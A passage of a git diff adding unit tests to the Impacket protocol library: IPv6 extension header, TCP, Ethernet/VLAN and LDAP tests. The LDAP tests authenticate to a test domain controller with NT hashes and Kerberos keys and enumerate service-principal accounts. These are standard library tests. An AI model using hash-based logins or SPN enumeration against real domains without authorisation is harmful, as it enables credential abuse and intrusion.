+        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
+  
+        routing_options = IP6_Extension_Headers.Routing_Options()
+        routing_options.set_next_header(58)
+        routing_options.set_routing_type(0)
+        routing_options.set_segments_left(10)
+      
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
+
+        ip6_packet.contains(hop_by_hop)
+        hop_by_hop.contains(routing_options)
+        routing_options.contains(dest_opts)
+        dest_opts.set_next_header(58)
+
+        self.assertEqual(
+            self.string_to_list(ip6_packet.get_packet()), binary_packet, 
+            "Chained options inside an IPv6 packet - Buffer mismatch")
+
+        self.assertEqual(
+            ip6_packet.get_size(), len(binary_packet),
+            "Chained options inside an IPv6 packet - Size mismatch")
+
+    def test_decoding_simple_hop_by_hop(self):
+        hop_by_hop_binary_packet = [
+            0x2b, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+        
+        d = ImpactDecoder.HopByHopDecoder()        
+        parsed_packet = d.decode(hop_by_hop_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(1, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
+        
+        padn_option = options[0]
+        padn_option_type = padn_option.get_option_type()
+        padn_option_length = padn_option.get_option_length()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 0, "Simple Hop By Hop Parsing - Incorrect packet")
+        self.assertEqual(next_header, 43, "Simple Hop By Hop Parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 1, "Simple Hop By Hop Parsing - Incorrect size")
+        self.assertEqual(padn_option_type, 1, "Simple Hop By Hop Parsing - Incorrect option type")
+        self.assertEqual(padn_option_length, 12, "Simple Hop By Hop Parsing - Incorrect option size")
+
+    def test_decoding_multi_option_hop_by_hop(self):
+        hop_by_hop_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+        
+        d = ImpactDecoder.HopByHopDecoder()        
+        parsed_packet = d.decode(hop_by_hop_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(2, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
+        
+        pad1_option = options[0]
+        pad1_option_type = pad1_option.get_option_type()
+        
+        padn_option = options[1]
+        padn_option_type = padn_option.get_option_type()
+        padn_option_length = padn_option.get_option_length()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 0, "Hop By Hop with multiple options parsing - Incorrect packet")
+        self.assertEqual(next_header, 58, "Hop By Hop with multiple options parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 0, "Hop By Hop with multiple options parsing - Incorrect size")
+        self.assertEqual(pad1_option_type, 0, "Hop By Hop with multiple options parsing - Incorrect option type")
+        self.assertEqual(padn_option_type, 1, "Hop By Hop with multiple options parsing - Incorrect option type")
+        self.assertEqual(padn_option_length, 3, "Hop By Hop with multiple options parsing - Incorrect option size")
+
+    def test_decoding_simple_destination_options(self):
+        destination_options_binary_packet = [
+            0x2b, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+        
+        d = ImpactDecoder.DestinationOptionsDecoder()        
+        parsed_packet = d.decode(destination_options_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(1, len(options), "Simple Destination Options Parsing - Wrong Quantity of Options")
+        
+        padn_option = options[0]
+        padn_option_type = padn_option.get_option_type()
+        padn_option_length = padn_option.get_option_length()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 60, "Simple Destination Options Parsing - Incorrect packet")
+        self.assertEqual(next_header, 43, "Simple Destination Options Parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 1, "Simple Destination Options Parsing - Incorrect size")
+        self.assertEqual(padn_option_type, 1, "Simple Destination Options Parsing - Incorrect option type")
+        self.assertEqual(padn_option_length, 12, "Simple Destination Options Parsing - Incorrect option size")
+
+    def test_decoding_multi_option_destination_options(self):
+        destination_options_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+        
+        d = ImpactDecoder.DestinationOptionsDecoder()        
+        parsed_packet = d.decode(destination_options_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(2, len(options), "Destination Options with multiple options parsing - Wrong Quantity of Options")
+        
+        pad1_option = options[0]
+        pad1_option_type = pad1_option.get_option_type()
+        
+        padn_option = options[1]
+        padn_option_type = padn_option.get_option_type()
+        padn_option_length = padn_option.get_option_length()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 60, "Destination Options with multiple options parsing - Incorrect packet")
+        self.assertEqual(next_header, 58, "Destination Options with multiple options parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 0, "Destination Options with multiple options parsing - Incorrect size")
+        self.assertEqual(pad1_option_type, 0, "Destination Options with multiple options parsing - Incorrect option type")
+        self.assertEqual(padn_option_type, 1, "Destination Options with multiple options parsing - Incorrect option type")
+        self.assertEqual(padn_option_length, 3, "Destination Options with multiple options parsing - Incorrect option size")
+
+    def test_decoding_simple_routing_options(self):
+        routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00]
+        
+        d = ImpactDecoder.RoutingOptionsDecoder()        
+        parsed_packet = d.decode(routing_options_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        routing_type = parsed_packet.get_routing_type()
+        segments_left = parsed_packet.get_segments_left()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 43, "Simple Routing Options Parsing - Incorrect packet")
+        self.assertEqual(next_header, 58, "Simple Routing Options Parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 0, "Simple Routing Options Parsing - Incorrect size")
+        self.assertEqual(routing_type, 0, "Simple Routing Options Parsing - Incorrect routing type")
+        self.assertEqual(segments_left, 10, "Simple Routing Options Parsing - Incorrect quantity of segments left size")
+        self.assertEqual(0, len(options), "Simple Routing Options Parsing - Wrong Quantity of Options")
+
+    def test_decoding_chained_basic_options_inside_ipv6_packet(self):
+        ipv6_binary_packet = [ 
+           0x64, 0x82, 0x46, 0x05, 
+           0x05, 0xdc, 0x00, 0x01, 
+           0xfe, 0x80, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x78, 0xf8, 0x89, 0xd1,
+           0x30, 0xff, 0x25, 0x6b, 
+           0xff, 0x02, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x00, 0x01, 0x00, 0x03]
+        
+        hop_by_hop_binary_packet = [
+            0x2b, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+
+        routing_options_binary_packet = [
+           0x3c, 0x00, 0x00, 0x0a,
+           0x00, 0x00, 0x00, 0x00]
+
+        dest_opts_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+
+        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet
+        
+        d = ImpactDecoder.IP6Decoder()        
+        parsed_ipv6_packet = d.decode(binary_packet)
+        
+        # IPv6 Parsing
+        ipv6_protocol_version = parsed_ipv6_packet.get_ip_v()
+        ipv6_traffic_class = parsed_ipv6_packet.get_traffic_class()
+        ipv6_flow_label = parsed_ipv6_packet.get_flow_label()
+        ipv6_payload_length = parsed_ipv6_packet.get_payload_length()
+        ipv6_next_header = parsed_ipv6_packet.get_next_header()
+        ipv6_hop_limit = parsed_ipv6_packet.get_hop_limit()
+        ipv6_source_address = parsed_ipv6_packet.get_ip_src()
+        ipv6_destination_address = parsed_ipv6_packet.get_ip_dst()
+        
+        # Hop By Hop Parsing
+        hop_by_hop_parsed_packet = parsed_ipv6_packet.child()
+        hop_by_hop_next_header = hop_by_hop_parsed_packet.get_next_header()
+        hop_by_hop_header_extension_length = hop_by_hop_parsed_packet.get_header_extension_length()
+        hop_by_hop_options = hop_by_hop_parsed_packet.get_options()
+        self.assertEqual(1, len(hop_by_hop_options), "Hop By Hop Parsing - Wrong Quantity of Options")
+        hop_by_hop_padn_option = hop_by_hop_options[0]
+        hop_by_hop_padn_option_type = hop_by_hop_padn_option.get_option_type()
+        hop_by_hop_padn_option_length = hop_by_hop_padn_option.get_option_length()
+        
+        # Routing Options Tests
+        routing_options_parsed_packet = hop_by_hop_parsed_packet.child()
+        routing_options_next_header = routing_options_parsed_packet.get_next_header()
+        routing_options_header_extension_length = routing_options_parsed_packet.get_header_extension_length()
+        routing_options_routing_type = routing_options_parsed_packet.get_routing_type()
+        routing_options_segments_left = routing_options_parsed_packet.get_segments_left()
+        routing_options_options = routing_options_parsed_packet.get_options()
+        
+        # Destination Options Parsing
+        destination_options_parsed_packet = routing_options_parsed_packet.child()
+        destination_options_next_header = destination_options_parsed_packet.get_next_header()
+        destination_options_header_extension_length = destination_options_parsed_packet.get_header_extension_length()
+        destination_options_options = destination_options_parsed_packet.get_options()
+        self.assertEqual(2, len(destination_options_options), "Destination Options Parsing - Wrong Quantity of Options")
+        destination_options_pad1_option = destination_options_options[0]
+        destination_options_pad1_option_type = destination_options_pad1_option.get_option_type()
+        destination_options_padn_option = destination_options_options[1]
+        destination_options_padn_option_type = destination_options_padn_option.get_option_type()
+        destination_options_padn_option_length = destination_options_padn_option.get_option_length()
+        
+        self.assertEqual(ipv6_protocol_version, 6, "IP6 parsing - Incorrect protocol version")
+        self.assertEqual(ipv6_traffic_class, 72, "IP6 parsing - Incorrect traffic class")
+        self.assertEqual(ipv6_flow_label, 148997, "IP6 parsing - Incorrect flow label")
+        self.assertEqual(ipv6_payload_length, 1500, "IP6 parsing - Incorrect payload length")
+        self.assertEqual(ipv6_next_header, 0, "IP6 parsing - Incorrect next header")
+        self.assertEqual(ipv6_hop_limit, 1, "IP6 parsing - Incorrect hop limit")
+        self.assertEqual(ipv6_source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address")
+        self.assertEqual(ipv6_destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address")
+        self.assertEqual(hop_by_hop_parsed_packet.get_header_type(), 0, "Hop By Hop Parsing - Incorrect packet")
+        self.assertEqual(hop_by_hop_next_header, 43, "Hop By Hop Parsing - Incorrect next header value")
+        self.assertEqual(hop_by_hop_header_extension_length, 1, "Hop By Hop Parsing - Incorrect size")
+        self.assertEqual(hop_by_hop_padn_option_type, 1, "Hop By Hop Parsing - Incorrect option type")
+        self.assertEqual(hop_by_hop_padn_option_length, 12, "Hop By Hop Parsing - Incorrect option size")
+        self.assertEqual(routing_options_parsed_packet.get_header_type(), 43, "Routing Options Parsing - Incorrect packet")
+        self.assertEqual(routing_options_next_header, 60, "Routing Options Parsing - Incorrect next header value")
+        self.assertEqual(routing_options_header_extension_length, 0, "Routing Options Parsing - Incorrect size")
+        self.assertEqual(routing_options_routing_type, 0, "Routing Options Parsing - Incorrect routing type")
+        self.assertEqual(routing_options_segments_left, 10, "Routing Options Parsing - Incorrect quantity of segments left size")
+        self.assertEqual(0, len(routing_options_options), "Routing Options Parsing - Wrong Quantity of Options")
+        self.assertEqual(destination_options_parsed_packet.get_header_type(), 60, "Destination Options Parsing - Incorrect packet")
+        self.assertEqual(destination_options_next_header, 58, "Destination Options Parsing - Incorrect next header value")
+        self.assertEqual(destination_options_header_extension_length, 0, "Destination Options Parsing - Incorrect size")
+        self.assertEqual(destination_options_pad1_option_type, 0, "Destination Options Parsing - Incorrect option type")
+        self.assertEqual(destination_options_padn_option_type, 1, "Destination Options Parsing - Incorrect option type")
+        self.assertEqual(destination_options_padn_option_length, 3, "Destination Options Parsing - Incorrect option size")
+
+    def test_decoding_extension_header_from_string(self):
+        hop_by_hop_binary_packet = b'\x2b\x01\x01\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        
+        d = ImpactDecoder.HopByHopDecoder()        
+        parsed_packet = d.decode(hop_by_hop_binary_packet)
+        
+        next_header = parsed_packet.get_next_header()
+        header_extension_length = parsed_packet.get_header_extension_length()
+        options = parsed_packet.get_options()
+        
+        self.assertEqual(1, len(options), "Simple Hop By Hop Parsing - Wrong Quantity of Options")
+        
+        padn_option = options[0]
+        padn_option_type = padn_option.get_option_type()
+        padn_option_length = padn_option.get_option_length()
+        
+        self.assertEqual(parsed_packet.get_header_type(), 0, "Simple Hop By Hop Parsing - Incorrect packet")
+        self.assertEqual(next_header, 43, "Simple Hop By Hop Parsing - Incorrect next header value")
+        self.assertEqual(header_extension_length, 1, "Simple Hop By Hop Parsing - Incorrect size")
+        self.assertEqual(padn_option_type, 1, "Simple Hop By Hop Parsing - Incorrect option type")
+        self.assertEqual(padn_option_length, 12, "Simple Hop By Hop Parsing - Incorrect option size")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_TCP.py b/tests/ImpactPacket/test_TCP.py
new file mode 100644
index 0000000..5411053
--- /dev/null
+++ b/tests/ImpactPacket/test_TCP.py
@@ -0,0 +1,139 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.ImpactPacket import TCP
+
+
+class TestTCP(unittest.TestCase):
+
+    def setUp(self):
+        # TCP - sport: 60655, dport: 80, sec: 0, HLen: 40, Flags: 0x02, win_size: 5840
+        #  cksum: 0x64cb, Options: 0x20
+        self.frame = b'\xec\xef\x00\x50\xa8\xbd\xea\x4c\x00\x00\x00\x00\xa0\x02\x16\xd0' \
+                     b'\x64\xcb\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xdc\xd6\x12' \
+                     b'\x00\x00\x00\x00\x01\x03\x03\x06'
+
+        self.tcp = TCP(self.frame)
+        
+    def test_01(self):
+        'Test TCP get_packet'
+        self.assertEqual(self.tcp.get_packet(), self.frame)
+
+    def test_02(self):
+        'Test TCP getters'
+        self.assertEqual(self.tcp.get_th_sport(), 60655)
+        self.assertEqual(self.tcp.get_th_dport(), 80)
+        self.assertEqual(self.tcp.get_th_off()*4, 40) # *4 because are words
+        self.assertEqual(self.tcp.get_th_flags(), 0x02)
+        self.assertEqual(self.tcp.get_th_win(), 5840)
+        self.assertEqual(self.tcp.get_th_sum(), 0x64cb)
+        self.assertEqual(self.tcp.get_SYN(), 1)
+        self.assertEqual(self.tcp.get_RST(), 0)
+
+    def test_03(self):
+        'Test TCP port setters'
+        self.tcp.set_th_sport(54321)
+        self.assertEqual(self.tcp.get_th_sport(), 54321)
+
+        self.tcp.set_th_dport(81)
+        self.assertEqual(self.tcp.get_th_dport(), 81)
+
+    def test_04(self):
+        'Test TCP offset setters'
+        # test that set_th_off doesn't affect to flags
+        flags = int('10101010',2)
+        self.tcp.set_th_flags( flags )
+        self.assertEqual(self.tcp.get_th_flags(), flags) 
+
+        self.tcp.set_th_off(4)
+        self.assertEqual(self.tcp.get_th_off(), 4)
+        self.assertEqual(self.tcp.get_th_flags(), flags) 
+
+    def test_05(self):
+        'Test TCP win setters'
+
+        self.tcp.set_th_win(12345)
+        self.assertEqual(self.tcp.get_th_win(), 12345)
+
+    def test_06(self):
+        'Test TCP checksum setters'
+        self.tcp.set_th_sum(0xFEFE)
+        self.assertEqual(self.tcp.get_th_sum(), 0xFEFE)
+
+
+    def test_07(self):
+        'Test TCP flags setters'
+        self.tcp.set_th_flags(0x03) # SYN+FIN
+        self.assertEqual(self.tcp.get_th_flags(), 0x03) 
+ 
+        self.tcp.set_ACK()
+        self.assertEqual(self.tcp.get_ACK(), 1)
+        self.assertEqual(self.tcp.get_SYN(), 1)
+        self.assertEqual(self.tcp.get_FIN(), 1)
+        self.assertEqual(self.tcp.get_RST(), 0)
+        self.assertEqual(self.tcp.get_th_flags(), 19)
+
+    def test_08(self):
+        'Test TCP reset_flags'
+        # Test 1
+        self.tcp.set_th_flags(19) # ACK+SYN+FIN
+        self.assertEqual(self.tcp.get_th_flags(), 19) 
+        self.assertEqual(self.tcp.get_ACK(), 1)
+        self.assertEqual(self.tcp.get_SYN(), 1)
+        self.assertEqual(self.tcp.get_FIN(), 1)
+        self.assertEqual(self.tcp.get_RST(), 0)
+
+        self.tcp.reset_flags(0x02)
+
+        self.assertEqual(self.tcp.get_th_flags(), 17) 
+
+        # Test 2
+        flags = int('10011', 2) # 19 = ACK+SYN+FIN
+        self.tcp.set_th_flags(flags) 
+        self.assertEqual(self.tcp.get_th_flags(), 19) 
+
+        # 010011
+        # 000010
+        # ------
+        # 010001 = 17
+        self.tcp.reset_flags(int('000010',2))
+
+        self.assertEqual(self.tcp.get_th_flags(), 17) 
+
+        # Test 3
+        flags = int('10011', 2) # 19 = ACK+SYN+FIN
+        self.tcp.set_th_flags(flags) 
+        self.assertEqual(self.tcp.get_th_flags(), 19) 
+
+        # 010011
+        # 010001
+        # ------
+        # 000010 = 2
+        self.tcp.reset_flags(int('010001',2))
+
+        self.assertEqual(self.tcp.get_th_flags(), 2) 
+ 
+    def test_09(self):
+        'Test TCP set_flags'
+        flags = int('10101010',2) # 0xAA
+        self.tcp.set_flags(flags) 
+        self.assertEqual(self.tcp.get_FIN(), 0)
+        self.assertEqual(self.tcp.get_SYN(), 1)
+        self.assertEqual(self.tcp.get_RST(), 0)
+        self.assertEqual(self.tcp.get_PSH(), 1)
+        self.assertEqual(self.tcp.get_ACK(), 0)
+        self.assertEqual(self.tcp.get_URG(), 1)
+        self.assertEqual(self.tcp.get_ECE(), 0)
+        self.assertEqual(self.tcp.get_CWR(), 1)
+        self.assertEqual(self.tcp.get_th_flags(), 0xAA )
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_TCP_bug_issue7.py b/tests/ImpactPacket/test_TCP_bug_issue7.py
new file mode 100644
index 0000000..8e96275
--- /dev/null
+++ b/tests/ImpactPacket/test_TCP_bug_issue7.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from threading import Thread
+from impacket.ImpactPacket import TCP, ImpactPacketException
+
+
+class TestTCP(unittest.TestCase):
+
+    def setUp(self):
+        # Dummy TCP header with "Maximum Segment Size" Option and zero length
+        self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
+        
+    def test_01(self):
+        'Test TCP options parsing hangs'
+        class it_hangs(Thread):
+            def __init__(self):
+                Thread.__init__(self)
+            def run(self):
+                try:
+                    frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \
+                        '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00'
+                    TCP(frame)
+                except ImpactPacketException as e:
+                    if str(e) != "'TCP Option length is too low'":
+                        raise e
+                except Exception:
+                    pass
+
+        thread_hangs = it_hangs()
+        thread_hangs.daemon = True
+        thread_hangs.start()
+
+        thread_hangs.join(1.0)  # 1 seconds timeout
+        self.assertEqual(thread_hangs.is_alive(), False)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_ethernet.py b/tests/ImpactPacket/test_ethernet.py
new file mode 100644
index 0000000..655f717
--- /dev/null
+++ b/tests/ImpactPacket/test_ethernet.py
@@ -0,0 +1,114 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from array import array
+from impacket.ImpactPacket import Ethernet, EthernetTag
+
+
+class TestEthernet(unittest.TestCase):
+
+    def setUp(self):
+        # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315)
+        # and ethertype 0x0800 (IPv4)
+        self.frame = b'\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00'
+        self.eth = Ethernet(self.frame)
+
+    def test_01(self):
+        """Test Ethernet getters"""
+        self.assertEqual(self.eth.get_packet(), self.frame)
+        self.assertEqual(self.eth.get_header_size(), 18)
+        self.assertEqual(self.eth.get_ether_type(), 0x0800)
+
+        # Check source and destination MACs
+        self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6]))
+        self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12]))
+
+    def test_02(self):
+        """Test Ethernet setters"""
+        self.eth.set_ether_type(0x88cc)
+        self.assertEqual(self.eth.get_ether_type(), 0x88cc)
+
+        # Swap source and destination MACs
+        dhost = self.eth.get_ether_dhost()
+        shost = self.eth.get_ether_shost()
+        self.eth.set_ether_dhost(shost)
+        self.eth.set_ether_shost(dhost)
+        self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12]))
+        self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6]))
+
+    def test_03(self):
+        """Test EthernetTag getters"""
+        tag = self.eth.pop_tag()
+        self.assertEqual(tag.get_buffer_as_string(),b'\x81\x00\xac\xf3')
+        self.assertEqual(tag.get_tpid(), 0x8100)
+        self.assertEqual(tag.get_pcp(), 5)
+        self.assertEqual(tag.get_dei(), 0)
+        self.assertEqual(tag.get_vid(), 3315)
+
+    def test_04(self):
+        """Test EthernetTag setters"""
+        tag = self.eth.pop_tag()
+        tag.set_tpid(0x88a8)
+        tag.set_pcp(2)
+        tag.set_dei(1)
+        tag.set_vid(876)
+        self.assertEqual(tag.get_buffer_as_string(), b'\x88\xa8\x53\x6c')
+
+    def test_05(self):
+        """Test manipulation with VLAN tags"""
+        def check_tags(*tags):
+            self.assertEqual(self.eth.tag_cnt, len(tags))
+            self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags))
+            self.assertEqual(self.eth.get_ether_type(), 0x0800)
+            for i,tag in enumerate(tags):
+                self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag)
+
+        # Add S-tag (outer tag, closest to the Ethernet header)
+        self.eth.push_tag(EthernetTag(0x88a85001))
+        check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\xac\xf3')
+
+        # Set C-tag (inner tag, closest to the payload) to default
+        self.eth.set_tag(1, EthernetTag())
+        check_tags(b'\x88\xa8\x50\x01', b'\x81\x00\x00\x00')
+
+        # Insert a deprecated 802.1QinQ header between S-tag and C-tag
+        self.eth.push_tag(EthernetTag(0x910054d2), index=1)
+        check_tags(b'\x88\xa8\x50\x01', b'\x91\x00\x54\xd2', b'\x81\x00\x00\x00')
+
+        # Test negative indices
+        tags = {}
+        for i in range(-3,3):
+            tags[i] = self.eth.get_tag(i).get_buffer_as_string()
+
+        self.assertEqual(tags[-1], tags[2])
+        self.assertEqual(tags[-2], tags[1])
+        self.assertEqual(tags[-3], tags[0])
+
+        # Accessing non-existent tags raises IndexError
+        self.assertRaises(IndexError, self.eth.get_tag, 3)
+        self.assertRaises(IndexError, self.eth.get_tag, -4)
+        self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag())
+        self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag())
+
+        # Test Ethernet constructor
+        data = self.eth.get_buffer_as_string()
+        eth_copy = Ethernet(data)
+        self.assertEqual(eth_copy.tag_cnt, 3)
+        self.assertEqual(eth_copy.get_header_size(), 26)
+        self.assertEqual(eth_copy.get_ether_type(), 0x0800)
+
+        # Remove the deprecated 802.1QinQ header and check resulting frame
+        eth_copy.pop_tag(1)
+        self.assertEqual(eth_copy.tag_cnt, 2)
+        self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:])
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/__init__.py b/tests/SMB_RPC/__init__.py
new file mode 100644
index 0000000..7b6dcb7
--- /dev/null
+++ b/tests/SMB_RPC/__init__.py
@@ -0,0 +1,9 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
diff --git a/tests/SMB_RPC/test_ldap.py b/tests/SMB_RPC/test_ldap.py
new file mode 100644
index 0000000..16205d2
--- /dev/null
+++ b/tests/SMB_RPC/test_ldap.py
@@ -0,0 +1,146 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import division
+from __future__ import print_function
+import pytest
+import unittest
+from tests import RemoteTestCase
+
+from impacket.ldap import ldap, ldapasn1
+import impacket.ldap.ldaptypes
+from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
+
+
+class LDAPTests(RemoteTestCase):
+    def connect(self, login=True):
+        self.ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
+        if login:
+            self.ldapConnection.login(self.username, self.password)
+        return self.ldapConnection
+
+    def tearDown(self):
+        if hasattr(self, "ldapConnection") and self.ldapConnection:
+            self.ldapConnection.close()
+
+    def dummySearch(self, ldapConnection):
+        # Let's do a search just to be sure it's working
+        searchFilter = "(servicePrincipalName=*)"
+
+        resp = ldapConnection.search(
+            searchFilter=searchFilter,
+            attributes=[
+                "servicePrincipalName",
+                "sAMAccountName",
+                "userPrincipalName",
+                "MemberOf",
+                "pwdLastSet",
+                "whenCreated",
+            ],
+        )
+        for item in resp:
+            print(item.prettyPrint())
+
+    def test_security_descriptor(self):
+        # Comment by @dirkjanm:
+        # To prevent false negatives in the test case, impacket.ldap.ldaptypes.RECALC_ACL_SIZE should be set to False
+        # in tests, since sometimes Windows has redundant null bytes after an ACE.Stripping those away makes the
+        # ACLs not match at a binary level.
+        impacket.ldap.ldaptypes.RECALC_ACL_SIZE = False
+        ldapConnection = self.connect()
+        searchFilter = "(objectCategory=computer)"
+
+        resp = ldapConnection.search(
+            searchFilter=searchFilter, attributes=["nTSecurityDescriptor"]
+        )
+        for item in resp:
+            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
+                continue
+            for attribute in item["attributes"]:
+                if attribute["type"] == "nTSecurityDescriptor":
+                    secDesc = str(attribute["vals"][0])
+                    # Converting it so we can use it
+                    sd = SR_SECURITY_DESCRIPTOR()
+                    sd.fromString(secDesc)
+                    sd.dump()
+                    self.assertEqual(secDesc, sd.getData())
+
+    def test_sicily(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.login(authenticationChoice="sicilyPackageDiscovery")
+
+    def test_sicilyNtlm(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.login(
+            user=self.username, password=self.password, domain=self.domain
+        )
+
+        self.dummySearch(ldapConnection)
+
+    def test_kerberosLogin(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.kerberosLogin(self.username, self.password, self.domain)
+
+        self.dummySearch(ldapConnection)
+
+    def test_kerberosLoginHashes(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.kerberosLogin(
+            self.username, "", self.domain, self.lmhash, self.nthash, "", None, None
+        )
+
+        self.dummySearch(ldapConnection)
+
+    def test_kerberosLoginKeys(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.kerberosLogin(
+            self.username, "", self.domain, "", "", self.aes_key_128, None, None
+        )
+
+        self.dummySearch(ldapConnection)
+
+    def test_sicilyNtlmHashes(self):
+        ldapConnection = self.connect(False)
+        ldapConnection.login(
+            user=self.username,
+            password=self.password,
+            domain=self.domain,
+            lmhash=self.lmhash,
+            nthash=self.nthash,
+        )
+
+        self.dummySearch(ldapConnection)
+
+    def test_search(self):
+        ldapConnection = self.connect()
+
+        self.dummySearch(ldapConnection)
+
+
+@pytest.mark.remote
+class LDAPTestsTCPTransport(LDAPTests, unittest.TestCase):
+    def setUp(self):
+        super(LDAPTestsTCPTransport, self).setUp()
+        self.set_transport_config(aes_keys=True)
+        self.url = "ldap://%s" % self.serverName
+        self.baseDN = "dc=%s, dc=%s" % (
+            self.domain.split(".")[0],
+            self.domain.split(".")[1],
+        )
+
+
+@pytest.mark.remote
+class LDAPTestsSSLTransport(LDAPTestsTCPTransport):
+    def setUp(self):
+        super(LDAPTestsSSLTransport, self).setUp()
+        self.url = "ldaps://%s" % self.serverName
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_ndr.py b/tests/SMB_RPC/test_ndr.py
